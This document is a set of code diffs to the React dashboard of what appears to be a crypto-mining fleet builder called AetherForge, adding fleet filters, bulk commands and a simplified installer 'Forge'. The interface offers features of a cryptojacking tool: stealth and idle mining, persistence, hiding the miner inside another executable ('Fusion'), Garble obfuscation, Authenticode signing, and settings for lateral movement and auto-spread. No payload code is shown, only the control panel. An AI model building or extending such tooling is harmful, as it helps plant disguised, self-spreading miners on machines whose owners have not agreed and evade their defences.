case 'agent_log': {
const { agent_id, content } = msg.payload as { agent_id: string; content: string };
const { agent_id, content } = msg.payload as WSAgentLog;
if (agent_id) {
setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
}

View File

@@ -1,11 +1,22 @@
import { useState, useEffect } from 'react';
import { useState, useEffect, useMemo, useCallback } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/FleetPanels.css';
import '../components/Fleet/FleetToolbar.css';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
@@ -13,11 +24,19 @@ export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState('');
useEffect(() => {
api.listAgents()
@@ -33,6 +52,8 @@ export default function AgentsPage() {
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
setSelectedAgent(updated);
setNotesDraft(updated.notes || '');
setTagsDraft((updated.tags || []).join(', '));
} else {
setSelectedAgent(null);
setLogContent('');
@@ -45,6 +66,11 @@ export default function AgentsPage() {
}
}, [selectedAgent?.id, agentLogs]);
const filteredAgents = useMemo(
() => filterFleetAgents(agents, filters),
[agents, filters]
);
const refreshLog = async (refresh = false) => {
if (!selectedAgent) return;
setLogLoading(true);
@@ -60,6 +86,9 @@ export default function AgentsPage() {
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMetaMsg('');
setLogContent('');
try {
const history = await api.getAgentStats(agent.id, 60);
@@ -69,15 +98,75 @@ export default function AgentsPage() {
}
};
const saveMeta = async () => {
if (!selectedAgent) return;
setMetaSaving(true);
setMetaMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
const updated = res.agent;
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
setMetaMsg('Saved');
setTimeout(() => setMetaMsg(''), 2000);
} catch (err) {
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setMetaSaving(false);
}
};
const toggleSelect = useCallback((id: string, on: boolean) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (on) next.add(id);
else next.delete(id);
return next;
});
}, []);
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
} finally {
setBulkBusy(false);
}
};
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
<h1>Fleet Roster</h1>
<p className="page-subtitle">Inspect each node hashrate history, hardware, share ledger.</p>
<p className="page-subtitle">Compact list click a row to expand quick actions or inspect full telemetry on the right.</p>
</div>
<span className="header-count font-tech">{agents.length} NODES</span>
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
{loadError && (
@@ -98,45 +187,74 @@ export default function AgentsPage() {
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list">
{agents.map((agent) => (
<div
key={agent.id}
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
onClick={() => selectAgent(agent)}
>
<div className="agent-list-header">
<div className="agent-list-name">
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>
{agent.status}
</span>
</div>
<div className="agent-list-details">
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
</div>
<div className="agent-list-meta">
<span>{agent.ip}</span>
<span>v{agent.version || '?'}</span>
<span>{agent.cpu_cores} cores</span>
</div>
<AgentRemoteActions agent={agent} compact />
</div>
))}
<div className="agents-list-panel">
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
onBulkAction={handleBulkAction}
bulkBusy={bulkBusy}
/>
<div className="agents-list">
{filteredAgents.map((agent) => (
<AgentListItem
key={agent.id}
agent={agent}
selected={selectedAgent?.id === agent.id}
expanded={expandedId === agent.id}
selectable
checked={selectedIds.has(agent.id)}
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
latestWsMessage={latestMessage}
/>
))}
{filteredAgents.length === 0 && (
<p className="form-hint">No agents match filters.</p>
)}
</div>
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>
{selectedAgent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="detail-section agent-meta-editor">
<h3>Notes &amp; Tags</h3>
<p className="form-hint">Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on list cards.</p>
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>
{selectedAgent.status}
</span>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
@@ -222,8 +340,12 @@ export default function AgentsPage() {
<div className="detail-section">
<h3>Remote Control</h3>
{selectedAgent.status !== 'online' && (
<p className="form-hint">Agent is offline remote actions are disabled until it reconnects.</p>
)}
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
latestWsMessage={latestMessage}
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
@@ -232,7 +354,7 @@ export default function AgentsPage() {
</div>
<div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3>
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>
@@ -246,18 +368,3 @@ export default function AgentsPage() {
</div>
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -1,11 +1,11 @@
import { useState, useEffect, useRef, useMemo } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { forgeDefaultsFromServer } from '../help/forgeDefaults';
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview';
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
import '../components/Fleet/FleetPanels.css';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
return forgeDefaultsFromServer(config, serverInfo);
function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
const units = ['KB', 'MB', 'GB'];
let v = n / 1024;
for (const u of units) {
if (v < 1024) return `${v.toFixed(2)} ${u}`;
v /= 1024;
}
return `${v.toFixed(2)} TB`;
}
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
try {
const v = localStorage.getItem(FORGE_MODE_KEY);
if (v === 'advanced') return false;
} catch {
/* ignore */
}
return true;
}
export default function BuilderPage() {
@@ -30,9 +53,22 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
} catch {
/* ignore */
}
};
const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true);
@@ -56,11 +92,13 @@ export default function BuilderPage() {
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([config, info]) => {
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
.then(([config, info, builds]) => {
setServerInfo(info);
setListenPort(config.port || info.port || 8989);
setForm(defaultsFromConfig(config, info));
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
@@ -227,6 +265,24 @@ export default function BuilderPage() {
}
};
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
const [config, info, builds] = await Promise.all([
api.getConfig(),
api.getServerInfo(),
api.listBuilds().catch(() => [] as BuildRecord[]),
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
}
};
const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
};
@@ -243,6 +299,44 @@ export default function BuilderPage() {
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
setFusionEstimate(null);
setEstimateError('');
return;
}
let cancelled = false;
const timer = window.setTimeout(() => {
setEstimateLoading(true);
setEstimateError('');
api.estimateFusion(form, fusionPrepFile)
.then((est) => {
if (!cancelled) setFusionEstimate(est);
})
.catch((err: Error) => {
if (!cancelled) {
setFusionEstimate(null);
setEstimateError(err.message || 'Estimate failed');
}
})
.finally(() => {
if (!cancelled) setEstimateLoading(false);
});
}, 350);
return () => {
cancelled = true;
window.clearTimeout(timer);
};
}, [
form?.fusion_enabled,
form?.fusion_output_name,
form?.output_dir,
form?.obfuscate,
form?.sign_build,
form?.worker_name,
fusionPrepFile,
]);
if (loadingDefaults || !form) {
return (
<div className="page fade-in command-deck">
@@ -283,10 +377,29 @@ export default function BuilderPage() {
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1>
<p className="page-subtitle">
Every miner option lives here install path, stealth, Fusion, persistence. Calibrate tab is server-only.
{simpleMode
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
</p>
</div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
<button
type="button"
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode}
>
Simple
</button>
<button
type="button"
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(false)}
>
Advanced
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
@@ -365,31 +478,41 @@ export default function BuilderPage() {
</div>
<div className="card builder-form">
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
{simpleMode ? (
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
<button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
Reset to recommended defaults
</button>
</div>
) : (
<div className="forge-rules-banner">
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<p className="form-hint" style={{ margin: 0 }}>
Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</p>
<div className="forge-rules-grid">
<div className="forge-rule-card">
<strong> Baked into installer</strong>
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
</div>
<div className="forge-rule-card">
<strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div>
</div>
</div>
)}
{liveNotices.length > 0 && (
<div className="forge-live-notices">
@@ -402,10 +525,11 @@ export default function BuilderPage() {
</div>
)}
<h2>Build Miner Installer</h2>
<h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
<p className="form-description">
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
{simpleMode
? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
</p>
<form onSubmit={handleSubmit}>
@@ -428,6 +552,7 @@ export default function BuilderPage() {
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
<FieldHint field="worker_name" />
</div>
<div className="form-group endpoint-group">
<div className="endpoint-header">
@@ -483,8 +608,10 @@ export default function BuilderPage() {
onChange={(e) => updateField('wallet', e.target.value)}
required
/>
<FieldHint field="wallet" />
</div>
{!simpleMode && (
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
@@ -503,8 +630,11 @@ export default function BuilderPage() {
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p>
</div>
)}
</div>
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Pool Configuration"
@@ -823,12 +953,16 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.auto_start} />
</div>
</div>
</>
)}
<div className="form-section">
<ForgeSectionHeader
title="Fusion (prep + worker)"
badge="baked"
description="Optional — bundles prep.exe with the miner. Forces background display when enabled."
description={simpleMode
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
@@ -849,12 +983,19 @@ export default function BuilderPage() {
type="file"
className="input"
accept=".exe,application/octet-stream"
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)}
onChange={(e) => {
const f = e.target.files?.[0] || null;
setFusionPrepFile(f);
if (f?.name) {
updateField('fusion_output_name', f.name);
}
}}
/>
{fusionPrepFile && (
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
)}
</div>
{!simpleMode && (
<div className="form-row">
<div className="form-group">
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
<FieldHint field="fusion_output_name" />
</div>
</div>
)}
{simpleMode && fusionPrepFile && (
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
)}
<p className="form-hint">
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
</p>
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
{estimateLoading && <p className="form-hint">Calculating</p>}
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
{fusionEstimate && (
<>
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
<li className="preflight-item preflight-ok">
<span className="preflight-icon"></span>
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
</li>
<li className="preflight-item preflight-warn">
<span className="preflight-icon"></span>
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
</li>
</ul>
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
{fusionEstimate.export_path && (
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
)}
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
{fusionEstimate.notes?.map((note) => (
<p key={note} className="form-hint">{note}</p>
))}
</>
)}
</div>
)}
</>
)}
</div>
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
onChange={(e) => updateField('obfuscate', e.target.checked)} />
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
</label>
<FieldHint field="obfuscate" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
onChange={(e) => updateField('sign_build', e.target.checked)} />
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
</label>
<FieldHint field="sign_build" />
</div>
</div>
<div className="form-section">
<ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement"
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
<FieldHint field="auto_spread" />
</div>
</div>
</>
)}
<div className="preflight-panel card">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
<>
<p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.export_path}</code>
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p>
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
{(lastBuild.obfuscated || lastBuild.signed) && (
<p className="form-hint">
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
{lastBuild.signed && 'Authenticode signature applied.'}
</p>
)}
</>
)}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>

View File

@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
@@ -23,7 +31,9 @@ export default function DashboardPage() {
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [bulkBusy, setBulkBusy] = useState(false);
useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error);
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
@@ -70,11 +80,12 @@ export default function DashboardPage() {
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, avgCpu, avgMem]);
const topAgents = useMemo(
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
[agents]
);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
const topAgents = useMemo(
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
[filteredAgents]
);
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
const activityItems = useMemo(
@@ -97,8 +108,28 @@ export default function DashboardPage() {
[agents]
);
return (
<div className="page fade-in command-deck">
const handleBulkAction = async (action: string) => {
let targetIds = [...selectedIds];
if (action === 'restart_idle') {
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate.');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) return;
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} finally {
setBulkBusy(false);
}
};
return ( <div className="page fade-in command-deck">
<AlertBanner alerts={alerts} />
<header className="deck-hero">
<div className="deck-hero-text">
@@ -213,8 +244,17 @@ export default function DashboardPage() {
<span className="section-ornament"></span> Machine Roster
<span className="section-line" />
</h2>
<div className="agent-grid">
{agents.length === 0 && (
{agents.length > 0 && (
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
onBulkAction={handleBulkAction}
bulkBusy={bulkBusy}
/>
)}
<div className="agent-grid"> {agents.length === 0 && (
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No miners on the wire</h3>
@@ -230,12 +270,31 @@ export default function DashboardPage() {
>
<div className="agent-card-header">
<div className="agent-name">
<input
type="checkbox"
className="checkbox"
checked={selectedIds.has(agent.id)}
onChange={(e) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (e.target.checked) next.add(agent.id);
else next.delete(agent.id);
return next;
});
}}
/>
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
<div className="agent-hash-bar">
{(agent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.35rem' }}>
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)} <div className="agent-hash-bar">
<div
className="agent-hash-fill"
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
@@ -250,12 +309,16 @@ export default function DashboardPage() {
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
</div>
<AgentRemoteActions agent={agent} compact />
<AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
</NeonCard>
))}
{agents.length > 0 && topAgents.length === 0 && (
<NeonCard accent="brass" className="empty-state">
<p>No agents match current filters.</p>
</NeonCard>
)}
</div>
</section>
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Share Log
@@ -298,21 +361,6 @@ export default function DashboardPage() {
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
function formatTime(t: string): string {
return new Date(t).toLocaleTimeString();
}

View File

@@ -1221,3 +1221,20 @@
border-radius: 6px;
background: rgba(248, 113, 113, 0.08);
}
.forge-mode-toggle {
display: inline-flex;
gap: 4px;
margin-right: 4px;
}
.forge-simple-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(212, 175, 55, 0.35);
background: rgba(212, 175, 55, 0.06);
}
.forge-simple-banner .font-tech {
margin-bottom: 0.35rem;
}

View File

@@ -176,6 +176,11 @@ export default function SettingsPage() {
strict_wallet_validation: false,
dashboard_subtitle: '',
open_firewall_on_start: true,
obfuscate_default: false,
sign_enabled: false,
